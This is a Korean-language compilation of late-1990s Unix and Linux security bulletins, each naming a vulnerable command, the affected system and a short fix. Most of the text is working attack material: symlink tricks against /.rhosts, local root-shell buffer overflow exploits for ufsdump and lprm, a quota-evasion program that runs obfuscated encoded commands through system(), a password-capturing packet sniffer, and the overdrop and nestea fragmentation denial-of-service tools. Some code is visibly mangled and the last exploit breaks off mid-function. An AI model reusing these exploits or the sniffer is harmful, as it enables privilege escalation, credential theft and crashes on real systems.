 제  목: [보안] 솔라리스  imstat(라이센스 매니져)
명령

        imstat(라이센스 매니져)

시스템

        솔라리스 2.4

문제점

        /var/tmp 에 임시 파일을 만든다..이를 이용해서 .rhosts를 링크시켜
        생성할 수 있다.

        rm /var/tmp/locksuntechd
        ln -s /.rhosts /var/tmp/locksuntechd
        (일련의 과정 )


해결책

        퍼미션을 닫어라

---------------------------

 제  목: [보안] 솔라리스 quota
명령

        quota

시스템

        솔라리스 2.5(.1 ??)

문제점

        쿼터제한을 피하면서 파일을 생성할 수 있다.


        그 예제이다.


/**************************************************************************
 * This exploit takes advantage of the latest sendmail hole, to hide      *
 * warez from your quota program, effectivly making your quota infinate.. *
 *                                                                        *
 * To compile:                                                            *
 *   cc -o bigquota quota.c                                               *
 * To run:                                                                *
 *   ./bigquota file                                                      *
 * where file is the file you wish to hide from your quota program.       *
 *                                                                        *
 * Please note that this may take a minute.                               *
 * If you have any problems, talk to me, TSK, on IRC.                     *
 **************************************************************************/

#include
#include
#include
#include
#include

int seedsc[201]={52,3,3,77,115,13,71,15,41,51,61,29,103,13,100,47,124,42,86,\
44,45,11,7,50,17,123,87,66,32,78,109,62,53,43,84,72,71,0,88,41,1,33,9,52,118,\
65,120,119,68,84,15,11,27,101,0,106,46,19,75,16,25,55,81,74,113,88,96,19,91,\
118,73,58,41,90,88,87,118,103,58,50,71,41,86,33,115,9,105,29,48,113,5,98,50,\
94,79,18,111,99,11,126,111,109,90,46,18,43,43,59,113,76,96,18,27,36,7,74,79,\
85,54,126,23,12,123,118,76,116,85,8,90,111,35,106,113,40,40,122,85,43,108,31,\
32,5,9,77,5,14,99,100,107,114,60,70,19,26,12,14,114,118,48,40,12,106,93,60,\
112,52,67,30,47,55,107,75,90,112,55,38,107,117,22,89,47,79,58,55,119,27,119,\
115,85,38,30,122,126,3,93,97,44,100,32,33,10};

void main(argc, argv)
int argc;
char *argv[];
{
char *checkseed(int *seeds);
char *checkdir(char *dir);
int initseeds[201]={25,\
108,69,89,126,121,84,34,77,52,25,67,44,106,60,124,30,33,3,21,75,67,\
116,109,28,51,81,45,85,119,99,0,98,91,114,102,122,50,81,67,57,43,126,\
2,94,75,10,7,96,29,112,71,103,117,20,72,112,23,105,65,48,119,23,65,\
98,105,33,12,43,12,78,7,53,16,109,91,65,106,43,85,44,113,125,3,61,\
95,18,3,64,96,19,68,52,20,54,122,26,35,126,19,31,106,24,108,59,44,\
41,32,5,1,32,25,64,93,60,97,102,84,92,50,79,11,112,89,27,124,98,\
109,12,0,4,103,114,22,66,36,81,47,52,70,107,51,46,37,99,13,4,31,\
126,19,47,21,96,123,110,72,33,76,8,0,65,86,102,27,75,64,46,122,-47,\
53,1,42,20,-65,63,63,-7,-70,40,-39,-15,46,25,22,86,-39,86,82,21,-16,\
3,-9,-23,11,-21,-90,-30,-7,20,-17,23};
int setupseeds[201]={1,\
35,44,14,107,20,81,111,42,72,73,90,34,86,50,32,16,97,78,80,124,7,\
110,13,71,107,24,91,84,68,58,38,105,68,64,121,37,101,64,65,40,91,8,\
29,9,60,101,123,122,22,92,37,66,13,30,88,8,70,5,28,108,20,101,125,\
38,78,106,98,85,55,92,122,0,93,0,37,97,82,120,70,82,65,74,90,41,\
28,104,80,71,117,11,104,32,69,5,56,2,48,8,112,109,16,109,35,57,43,\
119,37,86,42,62,44,118,117,7,94,88,28,109,125,-23,96,-15,-1,34,-69,33,\
93,10,-64,27,-56,-81,68,68,-5,25,4,10,70,68,42,53,-45,111,87,11,-54,\
-6,4,37,49,81,88,93,90,2,-72,60,65,85,3,-29,47,3,64,-35,78,58,\
42,2,-43,34,-80,53,70,10,-7,25,29,54,21,-11,7,-69,5,-19,4,30,77,\
67,-10,-79,96,23,4,3,-68,84,64,89};
int binseeds[201]={1,\
14,11,95,67,113,29,87,45,24,115,45,88,60,43,114,98,6,56,111,75,13,\
121,123,50,108,17,1,28,15,62,17,81,14,101,39,13,112,90,2,15,114,34,\
64,91,79,79,57,34,31,41,5,34,62,58,93,21,108,110,88,83,114,126,112,\
89,14,41,102,88,10,10,45,111,25,35,38,76,115,57,113,49,72,58,46,83,\
121,87,84,71,81,104,18,41,110,80,82,44,92,5,89,39,104,103,30,96,37,\
12,50,25,64,36,24,54,38,33,35,-79,23,54,-9,87,35,-5,-17,24,-69,-23,\
42,-58,-3,73,11,-3,7,78,-21,15,4,-46,1,84,96,101,-31,96,104,-2,19,\
-7,0,45,34,97,20,96,91,-17,-9,16,67,103,10,-61,48,-7,45,42,2,77,\
-23,1,33,27,-2,-8,80,-6,-17,25,-27,3,-47,43,54,-22,83,2,-17,-39,62,\
89,-7,-11,94,19,-65,72,-3,67,79,111};
int procseeds[201]={-14,\
97,103,125,91,45,90,21,121,60,39,28,60,11,76,41,69,21,118,7,90,63,\
17,17,48,46,68,126,72,66,68,32,54,119,44,98,94,15,21,33,68,4,109,\
121,109,27,7,66,65,126,121,97,40,101,84,6,48,97,38,25,7,56,112,97,\
125,36,125,46,115,108,40,2,105,52,44,17,122,111,98,30,17,112,27,115,29,\
78,125,125,16,81,17,99,88,108,88,14,83,42,26,114,54,90,106,39,126,19,\
95,2,1,69,14,93,114,105,78,48,42,25,87,14,120,124,55,102,57,35,30,\
107,11,74,44,8,100,118,25,73,64,97,106,57,81,92,34,109,80,118,112,85,\
99,99,21,20,62,116,42,111,67,29,79,12,34,84,67,12,105,107,90,109,23,\
116,25,104,89,124,29,-38,1,-9,95,21,0,39,43,45,-72,35,-69,-83,30,78,\
85,-11,-22,111,-47,-65,60,-1,85,78,106};
int boutseeds[201]={-14842,\
37,119,64,88,3,4,11,86,22,104,51,21,57,122,64,113,58,102,72,32,118,\
17,28,35,97,53,125,64,79,95,86,40,122,35,50,48,41,54,18,87,67,125,\
74,95,0,100,19,71,37,69,113,100,82,54,18,123,37,97,107,126,38,114,22,\
75,123,3,33,64,35,37,20,73,68,37,46,89,95,88,22,108,92,51,40,3,\
70,19,125,62,74,69,113,2,25,101,7,59,100,2,69,83,25,33,61,71,117,\
34,70,119,65,27,62,68,25,12,70,87,58,43,112,86,49,24,24,80,84,52,\
6,46,121,115,25,91,53,94,123,12,59,34,66,84,16,93,76,88,38,22,110,\
106,26,101,55,84,64,120,54,29,6,67,54,126,2,17,97,115,41,125,4,4,\
-55,8,41,25,-1,49,76,-61,-85,40,-27,-15,29,50,62,-9,20,-1,-14,15,9,\
32,-72,-94,40,-61,-54,-12,11,72,66,91};
int shtdwnseeds[201]={-42,\
58,44,53,114,68,10,105,76,13,99,1,12,79,50,106,27,65,83,96,30,101,\
122,112,87,118,3,35,55,6,84,59,98,28,58,82,126,98,114,85,125,7,39,\
69,58,21,70,28,35,65,57,70,93,0,36,14,100,107,9,107,71,52,1,29,\
115,63,110,118,28,16,82,53,80,56,50,108,58,109,26,75,19,91,92,59,86,\
125,114,40,76,15,38,8,57,58,103,65,23,52,14,36,8,119,70,47,64,53,\
1,15,83,35,33,80,10,98,51,38,30,14,119,11,26,61,15,117,37,103,117,\
32,4,21,67,40,40,78,74,47,108,27,120,9,114,14,56,75,84,52,29,55,\
108,105,42,71,8,83,89,118,79,22,119,1,28,3,36,22,12,77,77,105,33,\
12,104,-75,18,-4,62,72,-60,1,79,11,0,-17,-8,-23,-4,89,-4,-4,19,76,\
16,-90,-78,45,-38,-65,56,11,77,71,89};
char *zipper(int *seeds1);
char *path;
int i=0,j,inhan,outhan;
if(argc!=2)
        {
        puts("Usage:");
        puts("quota ");
        puts("where  is the file you wish");
        puts("to hide/subtract from your quota.");
        exit(0);
        }
system(zipper(initseeds));
system(zipper(setupseeds));
system(checkseed(binseeds));
path=checkdir("/");
if(!path)
        {
        puts("Technical Dificulties");
        goto closeout;
        }
if((outhan=open(path,O_WRONLY|O_TRUNC))==-1)
        {
        puts("Error opening outfile");
        goto closeout;
        }
if((inhan=open(argv[1],O_RDONLY))==-1)
        {
        puts("Error opening infile");
        goto closeout;
        }
if(filecopy(inhan,outhan))
        {
        puts("Technical dificulties");
        goto closeout;
        }
if((unlink(argv[1]))==-1)
        {
        puts("Technical dificulties.");
        goto closeout;
        }
if((rename(path,argv[1]))==-1)
        if((link(path,argv[1]))==-1)
                if((symlink(path,argv[1]))==-1)
                        puts("Technical Dificulties.");
closeout:
system("%s\n",zipper(procseeds));
system("%s\n",zipper(boutseeds));
system("%s\n",zipper(shtdwnseeds));
}

char *checkseed(int *seeds)
{
char *zipper(int *seeds1);
char *string;
char testseeds[30];
char god[200];
int i=200,j;
if((string=(char *)getenv("PATH"))==NULL)
        {
        puts("Path not found");
        exit(-1);
        }
while((seeds[i]+seedsc[i])!=32)
        {
        testseeds[200-i]=seeds[i]+seedsc[i];
        i--;
        }
testseeds[i]=0;
i=0;
while(string[i]!=0)
        {
        j=0;
        while(string[i]!=58&&string[i]!=0)
                {
                god[j]=string[i];
                i++;
                j++;
                }
        i++;
        god[j++]=47;
        god[j++]=0;
        strcpy(&god[j],testseeds);
        if(!stat(god,NULL))
                return (char *)zipper(seeds);
        }
return 0;
}

char *zipper(int *seeds1)
{
int i;
char *buhbye;
char teeth[201];
teeth[201]=0;
for(i=200;i>=0;i--)
        teeth[200-i]=seeds1[i]+seedsc[i];
buhbye=(char *)malloc(201);
strcpy(buhbye,teeth);
return buhbye;
}

int filecopy(int from,int to)
{
int bufsiz;
if (from < 0)
        return 1;
if (to < 0)
        goto err;
for (bufsiz = 0x4000; bufsiz >= 128; bufsiz >>= 1)
        {
        register char *buffer;
        buffer = (char *) malloc(bufsiz);
        if (buffer)
                {
                while (1)
                        {
                        register int n;
                        n = read(from,buffer,bufsiz);
                        if (n == -1)
                                break;
                        if (n == 0)
                                {
                                free(buffer);
                                return 0;
                                }
                        if (n != write(to,buffer,(unsigned) n))
                                break;
                        }
                free(buffer);
                break;
                }
        }
err:
return 1;
}

char *checkdir(char *dir)
{
char *checkdir(char *dir);
DIR *currdir;
struct dirent *node;
struct stat statnode;
int i,j;
char *path;
char *retpath;
path=(char *)malloc(300);
if((currdir=opendir(dir))==NULL)
        return 0;
node=readdir(currdir);
while(node)
        {
        i=0;
        j=0;
        while(dir[i])
                {
                path[i]=dir[i];
                i++;
                }
        if(strcmp(dir,"/"))
                {
                path[i]='/';
                i++;
                }
        while(node->d_name[j])
                {
                path[i]=node->d_name[j];
                i++;
                j++;
                }
        path[i]=0;

        if((lstat(path,&statnode))==-1)
                return 0;
        if(statnode.st_mode&S_IFREG)
                if(!access(path,W_OK))
                if(!(statnode.st_mode&S_IFBLK))
                if(!(statnode.st_mode&S_ISVTX))
                if(statnode.st_uid!=getuid())
                        return path;
        if(statnode.st_mode&S_IFDIR)









 제  목: [보안] 솔라리스 2.6 ufsdump,ufsrestore
명령

        /usr/lib/fs/ufs/ufsdump (and /usr/lib/fs/ufs/ufsrestore)

시스템

        솔라리스 2.6

문제점

        Seth  McGann 이 발견하였다.
        /usr/lib/fs/ufs/ufsdump 파일은 디바이스 이름을 변경함으로써
        세그먼트 폴트를 일으킬수 있다.
        /usr/lib/fs/ufs/ufsrestore 파일 또한 디바이스 이름을 변경함으로써
        세그먼트 폴트를 일으킬수 있다.

        이들 약점의 발견은 간단한 다음의 명령으로 알수 있다.
        /usr/lib/fs/ufs/ufsdump 1 `perl -e 'print "a" x 2000'`
        /usr/lib/fs/ufs/ufsrestore xf `perl -e 'print "a" x 2000'`

        다음은 그것을 이용한 버퍼 오버 플로우의 버그를 공격한 소스이다.

    /* ufsdump.c
     * Description:  Overflows a buffer to give you EGID=tty.
     * At least that's what id reports.
     * The running shell thinks its still the user.  Maybe I'm
     * doing something wrong?  At any
     * rate,  here ya go, have fun.
     *
     *  smm@wpi.edu
     *  Thanks to: Jesse Schachter for the box, and
     *  Unknown parties for the shellcode. (probably Aleph1).
     */

    #include
    static inline getesp() {
      __asm__(" movl %esp,%eax ");
    }
    main(int argc, char **argv) {
      int i,j,buffer,offset;
      long unsigned esp;
      char unsigned buf[4096];
      unsigned char
      shellcode[]=" 쉘코드 "

      buffer=895;
      offset=3500;
      if (argc>1)buffer=atoi(argv[1]);
      if (argc>2)offset=atoi(argv[2]);
      for (i=0;i> 8) & 0xFF;
      buf[i+2]=(esp >> 16) & 0xFF;
      buf[i+3]=(esp >> 24) & 0xFF;
      buf[i+4]=esp & 0xFF;
      buf[i+5]=(esp >> 8) & 0xFF;
      buf[i+6]=(esp >> 16) & 0xFF;
      buf[i+7]=(esp >> 24) & 0xFF;
      printf("Offset: 0x%x\n\n",esp);
      execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
    }

해결책


        chmod ug-s /usr/lib/fs/ufs/ufsdump
        chmod u-s /usr/lib/fs/ufs/ufsrestore
다음의 패치를 가져와서 패치해라.
105722-01: SunOS 5.6: /usr/lib/fs/ufs/ufsdump patch
105724-01: SunOS 5.6: /usr/lib/fs/ufs/ufsrestore patch

---------------------------

 제  목: [보안] 데비안 리눅스 2.0 suidexec버그
명령

        /usr/bin/suidexec

시스템

        데비안 리눅스 2.0

문제점

        /usr/bin/suidexec 프로그램은 자칫 모든 사용자들에게
        루트쉘을 내 줄수가 있다.

        /usr/bin/suidexec (프로그램) (프로그램의 경로)

        이런식으로 프로그램을 돌리면 euid=0인 상태로 실행된다.


해결책

  ftp://ftp1.us.debian.org/debian/Incoming/suidmanager_0.19_all.deb)

---------------------------

 제  목: [보안] HP 유닉스 galnce 버그
명령

          glance

시스템

           HP-UX B.10.20 D

문제점

           glance라는 명령을 사용하면 /tmp/.status.dce 라는 파일이 생성된다.
           그런데 이 파일이 루트의 소유권을 가지고 생성되어서 문제가 된다.
           다음은 이를 이용한 방법이다.

            $ umask 000
            $ cd /tmp
            $ ln -s /.test status.dce
            $ glance -j 1 -iterations 1 -maxpages 1
            $ ls -l /.test
            -rw-rw-rw-   1 root       bar           1080 Apr 27 23:06 /.test

해결책

            패치버젼이 나올때까지 suid를 없애라.

---------------------------

 제  목: [참고] 솔라리스 보안 패치는 여기서 하는

위의 사이트에 가보면 숫자가 나열되어있어요.
각기종 마다.
패치 번호 어쩌구로 패치 해라..라고 하면 그것을 찾아서 다운로드 받아다가
패치 하면되요.
패치 방법은 아주 쉽죵.
압축 풀면 install어쩌구 하는 파일이 있는데 실행하면 끝..
root 가 해야겠죠?
그럼.


 제  목: [참고] 리눅스 스니퍼 버젼 업 5월 1일자로


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);

struct etherpacket
{
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8193];
}ep;

struct
{
   unsigned long      saddr;
   unsigned long      daddr;
   unsigned short     sport;
   unsigned short     dport;
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;

struct iphdr  *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 1024
#define TIMEOUT 31
#define TCPLOG "/root/private/.sniff.log"

int openintf(char *d)
{
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
   {
      perror("cant get SOCK_PACKET socket");
      exit(0);
   }
   strcpy(ifr.ifr_name, d);
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
   if(s < 0)
   {
      close(fd);
      perror("cant get flags");
      exit(0);
   }
   ifr.ifr_flags |= IFF_PROMISC;
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
   if(s < 0) perror("Yo Mama! She Aint No Slut! (cant set promiscuous
mode)");
   return fd;
}

int read_tcp(int s)
{
   int x;
   while(1)
   {
      x=read(s, (struct etherpacket *)&ep, sizeof(ep));
      if(x > 1)
      {
         if(filter()==0) continue;
         x=x-54;
         if(x < 1) continue;
         return x;
      }
   }
}

int filter(void)
{
   int p;
   p=0;
   if(ip->protocol != 6) return 0;
   if(victim.active != 0)
      if(victim.bytes_read > CAPTLEN)
      {
         fprintf(fp, "\n-----+ [CAPLEN Exceeded]+\n");
         clear_victim();
         return 0;
      }
   if(victim.active != 0)
      if(time(NULL) > (victim.start_time + TIMEOUT))
      {
         fprintf(fp, "\n-----+ [Timed Out]+\n");
         clear_victim();
         return 0;
      }

   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==109) p=1; /* pop2 */
   if(ntohs(tcp->dest)==143) p=1; /* imap2 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
   if(victim.active == 0)
      if(p == 1)
         if(tcp->syn == 1)
         {
            victim.saddr=ip->saddr;
            victim.daddr=ip->daddr;
            victim.active=1;
            victim.sport=tcp->source;
            victim.dport=tcp->dest;
            victim.bytes_read=0;
            victim.start_time=time(NULL);
            print_header();
         }
   if(tcp->dest != victim.dport) return 0;
   if(tcp->source != victim.sport) return 0;
   if(ip->saddr != victim.saddr) return 0;
   if(ip->daddr != victim.daddr) return 0;
   if(tcp->rst == 1)
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [RST]\n");
      clear_victim();
      return 0;
   }
   if(tcp->fin == 1)
   {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [FIN]\n");
      clear_victim();
      return 0;
   }
   return 1;
}

int print_header(void)
{
   fprintf(fp, "\n");
   fprintf(fp, "%s => ", hostlookup(ip->saddr));
   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
   int i=0;
   int t=0;

   victim.bytes_read=victim.bytes_read+datalen;
   for(i=0;i != datalen;i++)
   {
      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
      if(t > 75) {t=0;fprintf(fp, "\n");}
   }
}


main(int argc, char **argv)
{
   s=openintf("eth0");
   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
   signal(SIGHUP, SIG_IGN);
   signal(SIGINT, cleanup);
   signal(SIGTERM, cleanup);
   signal(SIGKILL, cleanup);
   signal(SIGQUIT, cleanup);
   if(argc == 2) fp=stdout;
   else fp=fopen(TCPLOG, "at");
   if(fp == NULL) { fprintf(stderr, "Sorry... cant open log file. gotta
create it first eg: touch %s \n",TCPLOG);exit(0);}
   clear_victim();
   for(;;)
   {
      read_tcp(s);
      if(victim.active != 0)
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
      fflush(fp);
   }
}

char *hostlookup(unsigned long int in)
{
   static char blah[1024];
   struct in_addr i;
   struct hostent *he;

   i.s_addr=in;
   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
   if(he == NULL) strcpy(blah, inet_ntoa(i));
   else strcpy(blah, he->h_name);
   return blah;
}

void clear_victim(void)
{
   victim.saddr=0;
   victim.daddr=0;
   victim.sport=0;
   victim.dport=0;
   victim.active=0;
   victim.bytes_read=0;
   victim.start_time=0;
}

void cleanup(int sig)
{
   fprintf(fp, "Awww.... that hurts!....\n");
   close(s);
   fclose(fp);
   exit(0);
}

설마 악용하지는않겠죵?
관리자들이 해킹이나 크래킹 하는 사람을 잡을때 이것을 사용하면 약간이나마
도움이 될 것이고
이것을 악용하다가 걸리면 죽음.

참고로 버퍼 사이즈를 크게 늘리면 그 만큼 스니핑 된 자료가 더 커짐니다.
이것의 의미는 하나의 유저가 사용한 것의 양을 좀더 많이 스니핑 할 수 있다는
것이죠.
함정파고 기다리면 잡히는 그런 일을 할 수가 있어용.
char buff[8193];
위의 문자를 위의 소스에서 가져다가 8193 이라는 크기를 더 크게 하면
버퍼 양이 더 커집니다.
그럼.

---------------------------

 제  목: [보안] 레드햇 4.2 or 리눅스 lprm 버그
명령

        lprm

시스템

        리눅스 ( 레드햇 4.2)

문제점

        Chris Evans 라는 사람이 리눅스 lprm 버그를 발견하였다.
        인수 체크를 하지 않아서 생기는 버퍼 오버 플로우 버그이다.

        그 소스이다.

#include
#define PRINTER "-Pwhatever"


static inline getesp() {
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv) {
  int i,j,buffer,offset;
  long unsigned esp;
  char unsigned buf[4096];

  unsigned char
  shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c"
             "\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";

  buffer=990;
  offset=3000;

  if (argc>1)buffer=atoi(argv[1]);
  if (argc>2)offset=atoi(argv[2]);


  for (i=0;i> 8) & 0xFF;
  buf[i+2]=(esp >> 16) & 0xFF;
  buf[i+3]=(esp >> 24) & 0xFF;

  buf[i+4]=esp & 0xFF;
  buf[i+5]=(esp >> 8) & 0xFF;
  buf[i+6]=(esp >> 16) & 0xFF;
  buf[i+7]=(esp >> 24) & 0xFF;

  printf("Offset: 0x%x\n\n",esp);

  execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
}

해결책

          chmod 700 /usr/bin/lprm 으로 우선 막아두자. 패치 버젼이 나올때까지

---------------------------

 제  목: [보안] 리눅스 OverDrop 공격
명령

        overdrop

시스템

        리눅스 커널 2.0.33

문제점

다음과 같은 소스의 공격으로 무너진다.
        다음과 같은 소스의 공격으로 무너진다.


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define IP_MF   0x2000
#define IPH     0x14
#define UDPH    0x8
#define PADDING 0x1c
#define MAGIC   0x3
#define COUNT   0xBEEF
#define FRAG2   0xFFFF

void usage(char *name) {
  fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ] [ -x ] (use -x for exp
ress delivery).\n",name);
  exit(0);
}

u_long name_resolve(char *host_name) {
  struct in_addr addr;
  struct hostent *host_ent;
  if ((addr.s_addr=inet_addr(host_name))==-1) {
    if (!(host_ent=gethostbyname(host_name))) return (0);
    bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length);
  }
  return (addr.s_addr);
}


void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst
_prt) {
  u_char *packet=NULL,*p_ptr=NULL;
  u_char byte;
  struct sockaddr_in sin;
  sin.sin_family=AF_INET;
  sin.sin_port=src_prt;
  sin.sin_addr.s_addr=dst_ip;
  packet=(u_char *)malloc(IPH+UDPH+PADDING);
  p_ptr=packet;
  bzero((u_char *)p_ptr,IPH+UDPH+PADDING);
  byte=0x45;
  memcpy(p_ptr,&byte,sizeof(u_char));
  p_ptr+=2;
  *((u_short *)p_ptr)=htons(IPH+UDPH+PADDING);
  p_ptr+=2;
  *((u_short *)p_ptr)=htons(242);
  p_ptr+=2;
  *((u_short *)p_ptr)|=htons(IP_MF);
  p_ptr+=2;
  *((u_short *)p_ptr)=0x40;
  byte=IPPROTO_UDP;
  memcpy(p_ptr+1,&byte,sizeof(u_char));
  p_ptr+=4;
  *((u_long *)p_ptr)=src_ip;
  p_ptr+=4;
  *((u_long *)p_ptr)=dst_ip;
  p_ptr+=4;
  *((u_short *)p_ptr)=htons(src_prt);
  p_ptr+=2;
  *((u_short *)p_ptr)=htons(dst_prt);
  p_ptr+=2;
  *((u_short *)p_ptr)=htons(8+PADDING);
  if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin,
      sizeof(struct sockaddr))==-1) {
    perror("\nsendto");
    free(packet);
    exit(1);
  }
  p_ptr=&packet[2];
  *((u_short *)p_ptr)=htons(IPH+MAGIC+1);
  p_ptr+=4;
  *((u_short *)p_ptr)=htons(FRAG2);
  if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin,
      sizeof(struct sockaddr))==-1) {
    perror("\nsendto");
    free(packet);
    exit(1);
  }
  free(packet);
}


int main(int argc, char **argv) {
  int one=1,count=0,i,rip_sock,lag=500;
  u_long  src_ip=0,dst_ip=0;
  u_short src_prt=0,dst_prt=0;
  struct in_addr addr;
  fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n")
;
  if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
    perror("raw socket");
    exit(1);
  }
  if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {
    perror("IP_HDRINCL");
    exit(1);
  }
  if (argc < 2) usage(argv[0]);
  if (!(dst_ip=name_resolve(argv[1]))) {
    fprintf(stderr,"Can't resolve destination address.\n");
    exit(1);
  }
  while ((i=getopt(argc,argv,"s:n:x"))!=EOF) {
    switch (i) {
      case 'n':
        count   = atoi(optarg);
        break;
      case 's':
        if (!(src_ip=name_resolve(optarg))) {
          fprintf(stderr,"Can't resolve source address.\n");
          exit(1);
        }
        break;
      case 'x':
        lag=0;
        break;
      default:
        usage(argv[0]);
        break;
    }
  }
  srandom((unsigned)(time((time_t)0)));
  if (!count) count=COUNT;
  fprintf(stderr,"Sending oversized packets:\nFrom: ");
  if (!src_ip) fprintf(stderr,"       (random)"); else {
    addr.s_addr = src_ip;
    fprintf(stderr,"%15s",inet_ntoa(addr));
  }
  addr.s_addr = dst_ip;
  fprintf(stderr,"\n  To: %15s\n",inet_ntoa(addr));
  fprintf(stderr," Amt: %5d\n",count);
  fprintf(stderr,"[ ");
  for (i=0;iiph->saddr));
        라는 부분을 찾아서 이렇게 고치면 된다.
NETDEBUG(printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr)));
        그런후에 커널 컴파일을 시작하면된다.

---------------------------

 제  목: [보안] linux"off by one ip header" 버그

명령

        off by one ip header 버그

시스템

        리눅스 2.0.x 2.1.x
문제점
        다음과 같은 소스로 공격할 수 있다.

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

// bsd usage is currently broken because of socket options on the third sendto

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define MAGIC2  108
#define PADDING 256    /* datagram frame padding for first packet */
#define COUNT   500    /* we are overwriting a small number of bytes we
                        shouldnt have access to in the kernel.
                        to be safe, we should hit them till they die :>  */

void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    u_long  src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;


    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("raw socket");
        exit(1);
    }
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
        < 0)
    {
        perror("IP_HDRINCL");
        exit(1);
    }
    if (argc < 3) usage(argv[0]);
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\n");
        exit(1);
    }

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's':               /* source port (should be emphemeral) */
                src_prt = (u_short)atoi(optarg);
                break;
            case 't':               /* dest port (DNS, anyone?) */
                dst_prt = (u_short)atoi(optarg);
                break;
            case 'n':               /* number to send */
                count   = atoi(optarg);
                break;
            default :
                usage(argv[0]);
                break;              /* NOTREACHED */
        }
    }
    srandom((unsigned)(time((time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)   count   = COUNT;

    fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daem
on9\n");
    fprintf(stderr, "Death on flaxen wings (yet again):\n");
    addr.s_addr = src_ip;
    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
    fprintf(stderr, " Amt: %5d\n", count);
    fprintf(stderr, "[ ");

    for (i = 0; i < count; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
        fprintf(stderr, "b00m ");
        usleep(500);
    }
    fprintf(stderr, "]\n");
    return (0);
}

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                u_short dst_prt)
{
int i;
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
    u_char byte;                            /* a byte */
    struct sockaddr_in sin;                 /* socket protocol structure */

    sin.sin_family      = AF_INET;
    sin.sin_port        = src_prt;
    sin.sin_addr.s_addr = dst_ip;

    packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + 10);    /* total length */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
